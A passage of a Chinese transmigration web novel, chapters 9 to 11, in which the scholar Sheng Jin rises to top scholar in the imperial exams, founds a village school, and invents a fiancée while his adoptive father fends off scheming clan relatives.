村长妻子打了村长一下,洋装生气,道:“就你有数,今早是谁激动的脸都红了,说得好像只有我一人着急似的,我知你放在心上便好了。” 村长被自己妻子点破今早的事情,急忙转移话题聊起了别的事情,他现在只希望自己妻子赶紧忘记他今早的窘态。 第二天一大早,村长便去找了盛瑾,两人很快就将罐头厂的事情办好了,没过几天,村长的儿子儿媳也回来了,而两个月后,一座罐头厂在桃花村建好了,村长夫妇便开始在村子里招工人,许多村民开始加入罐头厂,从这天起,村民们每天脸上都洋溢着幸福的笑容。 自从桃花村的罐头厂上了轨道后,盛瑾便将其交给了村长和两位表现出色的村民一同管理,而他自己也开启了与人探讨书籍之旅。 时间转瞬即逝,一眨眼一年多过去了,盛瑾在这些日子里参加了不少大型文人宴会,并在其中大放光彩,不仅如此,他还会到处游历去拜访地方大儒和一些有名书院的夫子,与他们交流书籍,每每与对方交谈完书籍感想之类的后,对方都会对他青睐有加,毕竟他可是阅读完空间内图书馆的所有书籍,那中华上下五千年的知识储备可不是盖的。 不过盛瑾通过和这个世界的大儒交谈,也了解到了自己的水平应该和他们不相上下,不然,他们也不会每次和他交谈完后都是一脸不可置信的表情,毕竟十五岁拥有大儒水平的少年简直十个手指都能数的过来。 除此之外,盛瑾每到一个地方,都会考察这个地方的书院与学子,若是他就得还可以,便会给这个地方的书院捐赠一批书籍和笔墨纸砚,或是资助、结交他看上的学子。 盛瑾就这样渐渐在读书人中有了个“无双”公子的名号,他严重怀疑这群读书人是根据他的外貌取得名号,毕竟他的外表的样貌气质完全符合一句话“陌上人如玉,公子世无双”的描述。 当然,盛瑾这一年多的时间也曾回过扬州城白府,原因是参加那里的文人宴会,当最主要的还是回来看看白家父女,更何况这些年他每到一个地方便会给白家父女写信,告知他们自己在什么地方看到了什么风景,这也使得他与白家父女的感情日与俱增。 盛瑾在扬州城读书人中也算得上是小有名气,不仅仅是他在扬州城内文人宴会上大放光彩,还有之前他与地方大儒交谈后,其中不少大儒曾公开说自己和无双公子是忘年之交,相见恨晚,一个大儒说他欣赏一个少年,可能还不会再本朝文人圈中引人注目,但一群大儒说一个少年,那这个少年必定惊才艳艳,随之而来的便是本朝文人圈中读书人对其的敬佩。 白老爷对此十分高兴,当初参加认亲宴的人都知道盛瑾是白老爷的义子,为此还曾提出让盛瑾与自家姑娘见一次面,估计是存了结亲的心思,毕竟盛瑾才十三岁就在本朝文人圈如此出名,可见其能力非凡啊! 白老爷对此就是一招装傻充愣,只要对方不挑明了说,他就揣着明白装糊涂糊弄对方,他也笑呵呵的招待对方,但就是不接对方说二人见面之类的话,对方也不能和他生气,毕竟伸手不打笑脸人这句话谁都懂,再者,那次认亲宴来的都是大多都是些商贾富户,白老爷也算的上扬州城有名的盐商了,他们觉得没必要为了个没影的女婿得罪白老爷。 其实白老爷也不知道盛瑾有没有定亲之类的,但他还是有分界感的,义子的婚事他不好插手,而他知道盛瑾非池中之物,未来的前途一片光明,犯不着这时候着急亲事,毕竟等盛瑾高中进士后,有的是豪门望族想要和他结亲。 不过,白老爷从未将这些人上门的事情告诉盛瑾,因为他觉得这些事情没有必要告诉盛瑾,他这个义父可以为他处理好。 盛瑾这一年多的历程给了他很多感慨和经验,还使得他也真正了解了这个朝代的风土人情,对他而言意义极大。 这一年多的日子转瞬即逝,很快时间便到了盛瑾参加科举的日子,此时他和盛俊一行人已经来到了府城中盛昀买的院子。 不得不说,盛昀在买房产铺子时是有考虑到升值空间问题的,他买的房产铺子大多位于富县,尤其是房产,大部分都是处于科考考场所在的地方,若是放在现代那就叫做黄金地段,更何况本朝处于国泰民安的年代,这些个房产铺子的价值还会持续上涨,对于管家盛昀,盛瑾有说不完的赞赏了。 等盛瑾在自家小院休息片刻后,他便起身去找他的朋友拿自己的科考担保证明,再与朋友在酒楼里吃了一顿饭以示感谢。 盛瑾的朋友对他十分有信心,祝他马到成功,盛瑾对于朋友的话只是笑着表示了感谢,等他们吃完饭后,他便与朋友分别,随后回去自家的院子了。 几天后便到了科举的日子,如同上次考取秀才时的流程差不多,盛瑾在一旁等待着衙役搜身,然后拿到考号牌,进入考场。 这些事情对于盛瑾而言,只是在经历一遍罢了,没有什么值得紧张的了,他照常开始准备考试,只不过他在考场上再一次感慨道自己的好运气,没有抽中离厕所近的考舍,可见他对考舍在厕所的执念。 盛瑾等待着考官发卷子,衙役敲响考试钟声,拿到考卷后,他看到了一道题目,感觉时机来了,可能不用等到进士时谋划爵位了。 这是道关于粮食的题目,盛瑾想到之前朋友告诉过自己关于考官的事情,这次的考官是个正直廉明的人,也是一位十分关心民生和粮食的官员,如果自己在试卷上写上关于土豆和玉米这两种高产量的粮食,势必会引起考官的注意,如果这位考官相信自己,那么他一定会找自己调查清楚粮种的事情,一但他证明粮种是真实存在的,他必定会即刻上奏给皇帝,等皇帝调查和实验后,粮种的产量被证实,这么大的功绩,自己很有可能被封爵,这样就达到了自己当初计划的一部分了。 本来盛瑾也没有征战沙场的热血,他骨子里是一个喜欢平平淡淡生活的人,顶天了,他出钱开书院为国家培养人才,这他还是能做到的。 对于在考试试卷上写上粮种这个计划是有些冒险,并存在一定的风险,万一考官不信或是强占了盛瑾的功劳呢,但是根据盛瑾搜集到的考官资料。 盛瑾思虑片刻后,他决 9. 第 9 章 《知否盛老太太的双生子》全本免费阅读 清晨,扬州城白家中,白老爷和白滢婷在前不久已经收到盛瑾的信件,并从中得知了盛瑾中举的消息,白家下人为此又得到了一笔不菲的银钱。 白家下人们打心里为盛瑾感到高兴啊!当然,不排除有白老爷这笔银钱的原因,最主要的是他们白家出了位举人老爷,毕竟一人得道鸡犬升天嘛,即使盛瑾只是白老爷的义子,但他与白家父女的感情都被白家下人看在眼里。 白家下人们都长着眼睛呢,白家族人那样的,若是他们得了白老爷的家产,他们这些白家下人日子不会比白老爷在世时好过,他们眼瞅着盛瑾就是入仕为官的苗子,盛瑾和白家父女感情越好,那将来白滢婷继承白老爷的家产也会越顺利,比起白家族人,他们自然更愿意跟着自家姑娘白滢婷讨生活,毕竟不是谁都能受得了白家族人的性子啊!再说了,白老爷对他们这群下人也不薄啊! 与此同时,白滢婷正坐在椅子上一边绣荷包,这个荷包是为盛瑾绣的,所以白滢婷绣的很精致,当然,绣的速度也极慢。 白滢婷一边缓慢的绣着荷包,一边想着盛瑾什么时候才能回扬州,一旁的常嬷嬷见白滢婷心不在焉的,便打趣道:“姑娘这是想公子了吗?” 白滢婷看向常嬷嬷的眼神清澈而柔和,她轻言细语道:“我就是在想哥哥什么时候回来,最近扬州城的天气逐渐变冷了,也不知道哥哥那边的天气怎么样了,若是冷了,有没有人叮嘱他多穿些衣服呢?” 常嬷嬷见白滢婷这么说,神情柔和,语气缓慢,道:“姑娘多虑了,公子那边,怎么可能没人照顾周到呢。” 白滢婷看着常嬷嬷,眼神中闪过一丝思念,抿了抿嘴唇,道:“奶娘,说的也是,我就是有些惦记哥哥了,对了,爹爹现在在干什么呢?” 常嬷嬷闻言,没有直接回答白滢婷的问题,她看着白滢婷的眼神中闪过一丝笑意,道:“姑娘,不如你猜一下老爷现在在哪呢?” 白滢婷看着常嬷嬷的样子,语气中带着一丝不确定,道:“爹爹,不会还在书房中看着哥哥那封信吧。”要知道白老爷自从得知盛瑾中举的消息后,脸上的笑容就都没停过,而且一有空就回书房看盛瑾的信件,像是在无时无刻的确定盛瑾中举这件事的真实性。 白滢婷瞧着常嬷嬷脸上努力忍笑的表情便知她猜对了,她无奈的笑道:“爹爹也真是的,以前无论做成什么大生意都没像这般高兴过。” 白滢婷一直生活在白老爷为她建造的温室里,再加上白老爷的妻子去世,白家没有可以主事的女性长辈,因此白滢婷也极少外出交际,这也避免了她碰到一些歧视商贾的人。 至于教导白滢婷的夫子嬷嬷都是白老爷特意挑选的,自然不存在一边教导雇主家姑娘的同时歧视雇主家姑娘身份的事情,毕竟白老爷不会让自己疼爱的女儿受这份委屈,因此她即使知道商贾处于这个朝代的最底层,但从小到大被保护的她也无法深刻体会到士农工商这四个字的含义。 当然也正是因为白老爷的这种保护,使得白滢婷养成了天真善良、温婉贤淑的性格,这种性格也能让她和盛瑾相处的非常好。 常嬷嬷看着眼前的白滢婷,心里不由的担心道:“不知道姑娘被老爷如此保护是好还是坏呢。” 常嬷嬷没有将话说出口,只是笑着说道:“公子可不止是考中了举人,还是解元呢?这可是头名,老爷如此高兴也是情理之中的事情。”毕竟本朝的举人相当于县级官员了。 白滢婷听了常嬷嬷的话没有再说什么,只是低着头开始继续完成她给盛瑾绣的荷包,常嬷嬷见状也默不作声的看着白滢婷。 白家这边的白老爷的兴奋劲接着维持了一段时间后才下去,而盛瑾这边已经回到了桃花村里,此时桃花村正沉浸在盛瑾中举的喜悦中呢,等盛瑾应付完贺喜的村民们后,便留下村长商量事情。 屋内,盛瑾眼神淡然,语气平缓,道:“牛叔,我打算在村子里建一座书院,让村里的孩子们读书习字。” 村长被盛瑾的话给惊到了,一时之间竟然不知道要说些什么才好,过了好一会儿,他才开口道:“瑾哥儿,我们先不说建一座书院要多少银两,就说一下请夫子这一项,夫子的束脩每个月少说都要五两,而且我们村也不知道去哪找夫子。” 盛瑾听着村长的话,直言道:“我出建书院所需材料的银钱,村里的村民们出力气,我派人指导他们建书院,而夫子的束脩,我打算在村子附近买三百亩水田,这三百亩水田挂在我名下免赋税,我将这三百亩水田租出去,只收三成收成为租子,夫子的束脩就由这三百亩水田的租子提供,至于夫子的人选也由我来找。”毕竟他当初在外游历途中见识过各种各样的人,也帮助了不少人,沿途交到了许多朋友,这些朋友大部分都是书生,从中找出一二个夫子还是可以的。 (这里私设这个世界一亩水田每年产出三石粮食,一亩旱田产出二石粮食,每亩水田每年收入一两左右,每亩旱田每年收入半两。) 村长见盛瑾不为所动,又劝道:“瑾哥儿,不是牛叔不愿意建书院办学堂,并不是所有人都和你一样是个读书苗子,我就怕有些人读成隔壁村那个老童生那样,明知自己考中秀才的概率极小还要拖着家里死劲读。”他是真怕他们村也出一个隔壁村老童生那样的,那不是害了他们村某户人家嘛。 盛瑾见状,眼中闪过一丝笑意,他算是知道村长在担心什么了,于是他解释道:“我开这个书院不是牛叔你理解的那种一定要科举的书院,这个书院是专门教村里孩子读书习字的,村里的孩子在书院中学习七年后,由夫子判断是否适合继续读下去,若是可以,我也会支助他科考的,牛叔,读书不一定是为了科举,我们桃花村的村民们若是习字,外出时也可以减少不识字被人骗的情况出现。” 村长见盛瑾这么说,面色有些犹豫,显然盛瑾说的情况曾经出现过,过了一会儿,他叹了口气道:“瑾哥儿你说的也在理,但是我担心村民们不愿意啊!毕竟读书的花销不少啊!” 盛瑾见村长松口了,嘴角微微弯起,道:“我打算出个奖励制度,书院每月会举行一场考试,前三名的人会获得奖金,第一名三两,第二名二两,第三名一两,从我在罐头厂的分红出,若是考中秀才奖励一百两,考中举人奖励三百两,考中进士三甲榜奖励五百两,考中进士二甲榜奖励七百两,考中进士一甲榜奖励九百两,考中一甲榜中的榜眼额外奖励三百两,探花额外奖励六百两,考中状元额外奖励九百两。” 村长被盛瑾这一箩筐的奖励砸的眼冒金星,脑子还没转过弯来,便开口道:“这些也从罐头厂的分红出吗?恐怕出不起吧。” 自从罐头厂建起来后,盛瑾和村长制定了许多村里、厂里的规章制度,其中就有防止村中老人无人赡养的制度,而罐头厂的账目是由村长和另外两位村里人一起管的,他自然知道罐头厂一年收入在一千二百三十两左右,其中有两成是用来买东西给无人赡养的老人,为他们提供基本的生活保障等,另外八成才是盛瑾的收入。 盛瑾见状笑了笑,道:“牛叔,我在罐头厂的分红每年收入在九百八十四两,书院每年奖励学生的花销是七十二两,也就是说每年剩余收入九百一十二两,桃花村的孩子们至少要读七年才能开始科考,这七年里罐头厂分红剩余的银钱为六千三百八十四两,考中秀才后,还有举人、进士等等,少说还要学个三四年吧,更何况一个村子能出一两个进士就不错了。” 村长听到盛瑾给他算完账后,满面笑容,道:“我知道科考不易的,我就是一时没转过弯来,好,既然是这样,那我就去和村民商讨一下。” 盛瑾闻言,眼神平淡,语气柔和,道:“那么建书院的事情就麻烦牛叔看着了,我过几天便要启程去往汴州参加春闱了。” 村长听到盛瑾的话,满脸惊讶的询问道:“瑾哥儿,你不是刚参加完秋闱嘛,现下在参加春闱来得及吗?”他不太了解科举的事情,连“秋闱”和“春闱”这两个词都是盛瑾与他说过的。 盛瑾看着村长的眼神中闪过一丝笑意,村长居然没有问他有没有把握考上,而是问来不来得及参加春闱,显然村长对他极有信心啊!于是他坦言道:“牛叔,春闱和秋闱隔了五个多月呢,我可以赶上春闱的。” 村长见状,笑着调侃道:“能赶得上就行了,万一瑾哥儿你这次春闱考了个好名次,没准连婚姻大事都解决了。”毕竟他记得有一回去县城时,听人说起过榜下捉婿这回事。 盛瑾听到村长的话下意识的皱了皱眉头,他想到了榜下捉婿和赐婚这种情况出现的概率有多大,得出的结论是很有可能出现村长所说的情况。 盛瑾想着他要如何避免这种情况的出现,突然他想到了他虚构出来的那个师父,于是盛瑾直接开口道:“今天听牛叔提起,我方才想到师父他在我九岁时,给我定了门亲事,对方和我岁数相差不到几个月。” 盛瑾看着村长满脸惊讶的表情,接着道:“那位姑娘的父亲和师父是故交,家中只有这一个孩子,故而希望自家姑娘能嫁于信得过的人家,这样也不用担心姑娘在婆家受人欺负了,正巧他家姑娘与我一般大,师父便和他的好友为我们二人定了亲,等姑娘满十六岁便嫁过来。” 盛瑾说到这里时眼中闪过一丝悲伤,道:“前不久,我刚接到那边的来信说那个姑娘的父亲于三年前就去世了,如今她已守完三年孝期,按照她父亲的遗愿前来和我结亲,现在八成已经在海上了。” 村长闻言,没有说什么,只是嘱咐道:“瑾哥儿,人家姑娘飘洋过海来和你过日子,你要好好待她啊!” 盛瑾闻言点了点头,村长便不好再说什么了,过了一会儿,村长便离开了,独留盛瑾在此处悲伤。 盛瑾看似悲伤,实则在疯狂计划着他口中的未婚妻事件该怎么安排,他不能凭空弄出个未婚妻吧,突然,盛瑾灵光一闪,心道:“我不是有机器人吗?我可以让他们其中一个变成我的未婚妻。” 盛瑾这般想着,他的脑海中浮现了一个人选盛昀,盛昀这些年一直在这个世界帮他打理生意,若是盛昀变成他的未婚妻不容易让他人察觉到异常。 盛瑾当机立断的进入空间,通过空间中的那台电脑联系上盛昀,告诉了盛昀所有的事情后,盛昀的嘴角有些抽搐,道:“公子的意思是让我变成你的未婚妻吗?为什么不能是盛俊 10. 第 10 章 《知否盛老太太的双生子》全本免费阅读 清晨,扬州城白家,白老爷接到了盛瑾的来信,他看完盛瑾的信件后,内心充满了震惊,没想到盛瑾刚考完秋闱就立刻参加了春闱,尽管白老爷觉得这样有些仓促,但他还是相信盛瑾是有这样的能力的。 白老爷看着盛瑾信中关于他婚事的事情,上面写到盛瑾要在半年后与他的未婚妻成婚,这倒是让白老爷开心了不少,毕竟他也希望盛瑾能有个妻子陪伴他。 白老爷看着这封信上关于盛瑾婚事的内容时,他不由的想起了那日白家大房的人和七叔公上门的场景,本来白家族人只知道他收了个义子,但是他们没有过多的关注盛瑾这个人的事情,也不知道是谁告诉他们盛瑾中举的事,竟然引来了白家大房的人。 那日也不知道白家大房是如何请动白家七叔公陪他们上门的,一进门,白老爷那堂哥便直接开口道:“我听说你认了个义子,如今已考中举人了。” 白老爷没有否认,只是看着他那位堂哥,语气淡然的讽刺道:“没想堂哥在意我的义子啊!我还以为你不知道我有个义子呢。”自从白滢婷发生绑架事件后,白老爷和白家族人的关心冷淡了许多。 白老爷的堂哥被他的话堵的一时之间不知道如何回复,毕竟当初盛瑾身无功名,再加上是他只是白老爷的一个义子,白家族人都没将他放在眼里过。 一旁的白家七叔公为了缓解气氛,打岔道:“仲善啊!都是血浓于水的亲人,没必要这么说话吧,对了,我听说你那义子如今才十五岁,十五岁的举人少见啊!” 白老爷见白家七叔公夸赞盛瑾,脸上带了些许骄傲,道:“瑾儿不仅是举人,还是那场考试的头名。” 白家七叔公闻言,眼中闪过一丝惊讶,随即满脸笑容,道:“还是仲善你有眼光啊!十五岁的解元,这放在本朝开国以来也是凤毛麟角般的存在了。”毕竟他起初以为盛瑾只是运气好才考中的举人,没想到人家居然是解元,想来白家大房的想法八成是实现不了了。 白老爷听到白家七叔公的话,眉头皱了一下,但是没有说什么,只是安静的看着白家七叔公和他堂哥。 白老爷的堂哥见他没有说话,按耐不住,道:“堂弟,你瞧着我家的三姑娘如何呢,她如今也快十八了,我和你堂嫂嫂是千挑万选都没找到个好女婿啊!如今你有个这么出色的义子,不如我们亲上加亲如何呢?” 白老爷听完他堂哥的话瞬间就明白了他们今天上门的目的是什么了,心里不由得冷笑道:“我当他为什么突然上门询问瑾儿的事呢,原来是癞蛤蟆想吃天鹅肉啊!还千挑万选呢?我呸,我那三侄女为什么到现在还没定亲,还不是我的好堂哥你想要攀门好亲事,才将人耽搁到了十七岁嘛。” 白老爷面色淡然,语气平缓的像是在讲述故事,道:“堂哥,我记得你前些年不是给三侄女定了县令家的公子嘛,怎么,还是我记错了呢。” 白老爷的堂哥闻言,脸色瞬间阴沉起来,他没想到白老爷居然当场撕下他的遮羞布,不过,白老爷说的这件事情在白家村是一个公知的秘密,毕竟当初白老爷的堂嫂嫂闹得那么大,白家族人差不多都在现场了。 白老爷的堂哥一想起这件事心里就气啊!当初他本来想用他三女儿的婚事攀上个好亲家,虽然是个县令庶子出身,但他打听过这个庶子很得县令喜欢,因此他以一百亩水田为嫁妆想要将女儿嫁给这位县令庶子,结果也如他所愿的得到了这个婚事,可是谁知道当初做主的是县令的妻子,那个庶子和他生母对此婚事毫不知情。 那位县令的妻子早看不惯这个小妾和他生的儿子,所以专门找了这门亲事来恶心他们,毕竟白老爷的侄女虽然不能给这位县令家的庶子带来什么助力,但是她也陪嫁了一百亩水田过来,相当于价值一千四百两的嫁妆了,外人也不会说她刻薄庶子。 后来这位县令家的庶子知道了这门亲事,便和他的生母一起想办法让这门亲事取消,但是他的生母贪恋白老爷侄女的嫁妆,就想办法让县令提出将原本订好的娶为正妻改为纳妾。 等县令和白老爷的堂哥商量完后,白老爷的堂哥本来是不打算同意的,但又想着既然能说动县令来和他商讨婚事,显然这位庶子和小妾在县令心中有着不小的份量。 白老爷的堂哥有些心动,便没有回绝这位县令的提议,只是告诉他自己要回家与妻子商讨一下。 等白老爷的堂哥和他妻子刚说完,白老爷的堂嫂嫂想都没想就拒绝了,本来她就不想将女儿嫁过去受两个婆婆的苦,要不是白老爷的堂哥和她说的天花乱坠的,她也不会松口答应这门亲事,结果现在打算将娶妻改为纳妾,简直是在戳白老爷的堂嫂嫂肺管子啊!尤其是在她看出白老爷的堂哥有意这门亲事后,她当场就炸锅了。 白老爷的堂嫂嫂也是个厉害的,在白老爷的堂哥提出这件事的第二天,便直接拉来了白家族老、族人们和娘家兄弟,一把鼻涕一把泪的述说着自己为白老爷的堂哥付出了多少,说的在场不少跟着白家族人来看热闹的白家媳妇为之动容啊!最后在众人的劝说下白老爷的堂哥才彻底打消了这个念头。 这件事情当时在白家村闹得很大,但是也仅在白家村村民中流传,毕竟白老爷的侄女是白家的姑娘,白家姑娘曾经差点被送去做妾,这说出去都会让人笑话白家村的村民们,至于白老爷为什么知道,也是因为有位白家族人无意和他透露出来的。 屋内一片寂静,过了好一会儿,白家七叔公才缓缓开口道:“仲善啊!这都是多久之前的事情了,没必要再拿出来说了,你那义子毕竟和你没什么血缘关系,若是他和我们白家姑娘成婚,与你也有好处不是吗?”毕竟他收了白家大房的好处,就算这门亲事说不成,也得说几句话应付应付白家大房,就当他已经出力了 白老爷在心里翻了个白眼,这位白家七叔公上次就因为白滢婷被绑架的事情来过白家,他对这位白家七叔公有些膈应,也不惯着他,直接吐槽道:“这到底对谁有好处啊!再说了,我家瑾儿仪表堂堂,又是十五岁的解元,等他高中进士后,要什么样的姑娘不成啊!说不准还会被人下榜捉婿呢,为什么一定要娶白家姑娘了呢。” 白老爷说着随即又看了一眼白家七叔公,冷笑道:“七叔公都知道瑾儿是我的义子了,虽说我是瑾儿的义父,但是他的婚姻大事我还是做不了主的,再说了,瑾儿才十五岁,用不着急着成婚,等他考中进士后,没准还能娶到什么官宦人家的姑娘呢?” 白老爷的堂哥听到他的话,此时的脸色更黑了,白老爷这话的意思再明确不过了,他就差直说他看不上他的女儿了。 白家七叔公在一旁没有说话,毕竟白老爷的意思已经摆在这里了,牛不喝水,你也不能强按牛喝水吧,而且白老爷因上次白滢婷的事情有些恼了他们这些当时在场的白家族人,他不能再引起白老爷的厌恶了。 白老爷的堂哥有些不死心,毕竟盛瑾十五岁中解元,一看就是为官作宰的好苗子,这不比一个县令庶子来的好嘛。 白老爷的堂哥似是苦口婆心的劝道道:“堂弟,我们是血脉亲人,我这也是为你着想啊!我家五哥儿还年幼,等你过继了我家五哥儿后,再加上你的义子娶了我家三姑娘,婷儿可不就有了依靠嘛。” 此话一出,白老爷都能感觉到对方的算盘珠子崩自己脸上了,他瞬间被气笑道:“我是不会过继嗣子的,你们都死了这条心吧,还有,我若是有意让瑾儿娶白家姑娘为妻,为何一定要选你家三姑娘呢,我为什么不能直接让婷儿嫁给瑾儿呢,那样不是更好嘛。” 白老爷的堂哥听完白老爷的话后,瞬间对盛瑾产生了防备之心,毕竟白老爷看上去十分疼爱盛瑾,若是真让白滢婷嫁给盛瑾,那他们还怎么谋得白老爷的家产呢,实则白家族人不知到白老爷一直防着他们,他就算没有儿子,他的家产也不会留给白家族人。 白老爷的堂哥话音突变,也不想着说服白老爷让盛瑾娶他的女儿了,直言道:“堂弟啊!外人哪有自家人好啊!你这么在乎这个义子做什么呢,又没有什么血缘关系,对他这么好,万一赔了夫人又折兵,到时候得不偿失就不好了。” 白老爷的堂哥见他没有说话,以为他被说动了,接着道:“堂弟,你就一个女儿和一个没有血缘关系的义子,若是你以后老了,这两人大抵是靠不住的,还不如现在就过继我家五哥儿,以后好为你养老送终啊!要是你看不上五哥儿,我还有大哥儿、七哥儿呢,随便你挑哪个过继都行。” 白老爷被他堂哥这变脸的速度惊到了,他觉得怎么有人能这么不要脸呢,可是他又想到他是白家族人,突然间他便觉得白家族人说出这一番话来也没什么好稀奇了。 白老爷看着他的堂哥,他不想在听对方什么废话了,直接叫来了管家和下人,让他们送走了他们。 白老爷的回忆到此结束,他想着盛瑾有个未婚妻也好,毕竟他与盛瑾认亲宴上有不少人在盛瑾中秀才时,表示了想与盛瑾结亲,原先这些人只是有些念头试探一下白老爷,现下盛瑾中举了,他担心这些人会明着表达结亲的意思,那时候他就不好装作听不懂了,如今盛瑾有了个即将成婚的未婚妻,他也好以此堵住他们的嘴。 白老爷正这么想着,突然,白滢婷和常嬷嬷便走进来了,只见白滢婷笑道:“爹爹,听管家说你接到哥哥的信了,他有没有说什么时候回扬州城吗?” 白老爷看到白滢婷,满面笑容,道:“你啊!你,就记得问我,瑾儿什么时候回来,不过,这次你可能等不到你哥哥回来了。” 白滢婷听到白老爷这么说,眼中闪过一丝失落,随即询问道:“为什么呢?我还以为哥哥要回来呢?我给他绣了新的荷包,打算亲手交给他。” 白老爷看着白滢婷这个样子,笑着说出了盛瑾为什么不回来,道:“你也能亲手交给瑾儿,只不过是在明年瑾儿大婚前交给他。” 白滢婷听到盛瑾明年要结婚的消息,大吃一惊,立刻开问道:“什么?哥哥要成婚,和谁?什么时候?在哪里?” 白老爷听着白滢婷这一连串的问题,嘴角微微弯起,语气缓慢的解答道:“是呢,哥哥的师父早年为他定的亲事,人家为父守孝三年,现下按照父亲的遗愿,漂洋过海来嫁给你哥哥,至于你哥哥什么时候成亲,在哪成亲,他只告诉我半年后在汴州城成亲,想必等那姑娘到后,他就会来信让我们去参加婚宴吧。” 白滢婷听到白老爷说到“汴州城”,一脸疑惑的询问道:“爹爹,为什么哥哥要在汴州城成亲呢?” 白老爷这时才想起,自己好像没有告诉女儿,盛瑾参加春闱的事,于是他笑着道:“你哥哥打算参加明年的春闱。” 白滢婷双目瞪大,眼神中带着一丝震惊,语气中透露出一丝关怀,道:“什么,哥哥不是刚参加完秋闱嘛,接着参加春闱,他会不会有些吃力啊!” 白老爷神色淡然,语气柔和,安抚道:“这是你哥哥的决定,你要相信他是可以的,再说了,他才十五岁,多参加几次春闱也没什么大不了的。” 一旁的常嬷嬷虽然也是一脸惊讶,但她很快就平静下来了,毕竟白老爷说的对,盛瑾才十五岁,他考个两三次春闱也是正值当年的年纪,没什么好惊讶的。 时间转瞬即逝,很快就到了春闱的时间了,考场外如盛瑾以往所参加考试的考场一般,人山人海。 盛瑾和其他来参加春闱的考生们都要在考场门口排队等待衙役检查,因为这里是汴州城内,天子脚下,所以这次的考试检查比以往都要严格,衙役们挨个给考生搜身,重头到脚检查一遍,把考生的放考试用具的箱子拿出来一一检查,每一样东西都仔仔细细的检查,不放过一丝角落,防止作弊。 盛瑾拿着装着考试用具的箱子,告别了盛俊一行机器人和自家管家后,就在一旁排着队等待衙役的检查,等衙役检查完后,如以往一般,有一个衙役给了盛瑾他的考号牌子。 盛瑾拿着考号走过了门口,找到了自己的考舍,来到桌子一边,坐了下来,将考试用具一一拿出来放在桌子上,等待考试开始。 考官和衙役在一旁等待所有的考生坐好,随后考官开始发卷子,衙役在考官发完卷子后,敲响考试钟声,考生开始答题。 盛瑾在拿到考卷认真看了一遍后,开始答题,答完题后等待收卷,就这样,他考了九天的会试,毕竟会试一般是三场,每场三天,三场一过就考试才结束了。 等会试考完后,就连盛瑾都有些疲倦了,更何况是其他的考生,能坚持走出来的那都是能人啊!毕竟练过武功的盛瑾在会试一结束的那天,便急忙回府 11. 第 11 章 《知否盛老太太的双生子》全本免费阅读 清晨,扬州城内白家,白滢婷正和常嬷嬷讨论着盛瑾的事情呢,只见白滢婷看着常嬷嬷,语气中有些担心道:“嬷嬷,你说哥哥到底考得怎样啊!若是考不中,他会不会伤心呢?” 常嬷嬷看着白滢婷脸上的担忧,心里知道姑娘是把盛瑾当成了亲哥哥了,不然也不会天天想着他,于是她出言安抚道:“放心吧姑娘,公子是什么样的人,你还能不知道吗?他既然敢去考,那就证明他有把握,若是考不中,公子也不会沮丧的,他才十五岁,考个两三次也是没有问题的。” 白滢婷见常嬷嬷这么说,也不好再说什么了,她也知道自己杞人忧天了,突然,她又想起另一件事情,喃喃自语道:“哥哥说他半年后,就要娶妻了,也不知道未来嫂嫂长什么样,性子如何,好不好相处呢?” 常嬷嬷听到白滢婷这样说,心里也不免担心起来,她心里想道:“虽说公子对姑娘极好,但是嫂嫂和哥哥大抵上是不一样的,若是公子的大娘子是个刁蛮的性子,那姑娘和她相处难保不会被欺负啊!” 常嬷嬷的内心是越想越担忧啊!她在心里默默祈祷道:“三清真人啊!希望公子的大娘子是个好相遇的。” 常嬷嬷心里是这么想,但是面上却安抚白滢婷,道:“姑娘,放宽心,你要相信公子师父的眼光,既然能和公子师父成为好友的人,他家姑娘应该差不到哪去。” 这边常嬷嬷正和白滢婷聊着天,突然,白老爷冲进白滢婷的闺房,满脸喜色的笑着,白滢婷被白老爷吓了一跳,随即对着白老爷说道:“爹,咋了吗?您这么高兴啊!” 白老爷冲着白滢婷开心的笑着,有些语无伦次的回答道:“婷儿,瑾儿考上了,还是考上的状元郎啊!三元及第的状元郎啊!一个十五岁三元及第的状元郎,本朝最年轻的状元郎是我的义子,你说我能不高兴嘛。” 白滢婷目瞪口呆,有些语无伦次,道:“状元,哥哥考中状元了,爹爹,你确定是状元郎嘛。” 显然不止白滢婷一个人大吃一惊,一旁的常嬷嬷也被吓了一跳,她心里惊讶道:“天啊!十五岁的状元郎,还是三元及第的状元郎,这算是本朝开国以来头一份了吧,这会老爷和姑娘算是捡到大宝贝了啊!” 白老爷满脸笑意,语气中带着点自豪,道:“我很确定,瑾儿就是考中了状元郎了,而且他还让我们启程去汴州城参加他的婚礼。” 白滢婷还没消化完盛瑾中状元的消息时,白老爷又给了她一个重磅消息,她惊呼道:“嫂嫂到汴州城了吗?什么时候的事情啊!” 白老爷根据盛瑾的信推算了一下时间,然后,满脸笑意,道:“应该是瑾儿中状元后的一个月内吧。” 白滢婷的表情上带了些许懊恼,语气中有些焦虑,道:“唉,早知道,我就早点给嫂嫂准备礼物了,现下这么匆忙,我也不知道要送些什么给嫂嫂了。” 白老爷在一旁乐呵呵道:“那你就去开我们家的库房,里面有不少好东西呢,总能早找到你想要的,再说我们三天后才出发呢。” 白滢婷看了一眼白老爷,大声道:“什么,三天后就出发,天啊!奶娘,你现在陪我去库房吧,我怕来不及挑出那些好东西给嫂嫂。” 一旁的常嬷嬷被白滢婷的叫声唤了回来,接着她也来不及多想什么,便木愣的与白滢婷一同出去了。 白老爷见状笑着摇了摇头,去将这份喜悦传达给白家全部的下人后,就让管家备好船,等三天后,便去往汴州城见盛瑾。 另一边的盛瑾正在拟订参加他婚礼的名单,索性的是他在朝堂上认识的人也不多,主要是邀请一些这些日子相处友好的翰林院同袍们,至于婚礼安排等事宜,盛昀已经一力承包了,倒省了盛瑾不少麻烦。 盛瑾已经联系了以前交好的朋友,让他帮忙联系朝中某位官员,将他外放到桃花村所属的那个青州去,对方欣然同意了,毕竟桃花村所属的那个青州不属于富庶的地方,没有多少人会愿意去这里的,所以对方乐意买新科状元一个好。 至于盛瑾的调令何时下来,对方也给了大概的时间,差不多是在盛瑾大婚过后七天左右,对于盛瑾而言,这个时间刚刚好。 盛瑾之所以选择桃花村所在的青州是本着肥水不流外人田的想法,毕竟他要在短时间内干出政绩,那估计要自己掏腰包用大笔银钱搞建设了,不然你指望朝廷给你拨款,那就是在做白日梦。 对于盛瑾而言,既然都要花钱了,那为什么不选择花在自己喜欢的地方呢,桃花村是盛瑾的初始地,而桃花村所属的青州不是个富庶的地方,也是最能体现政绩的地方,这也是他选择这里的原因。 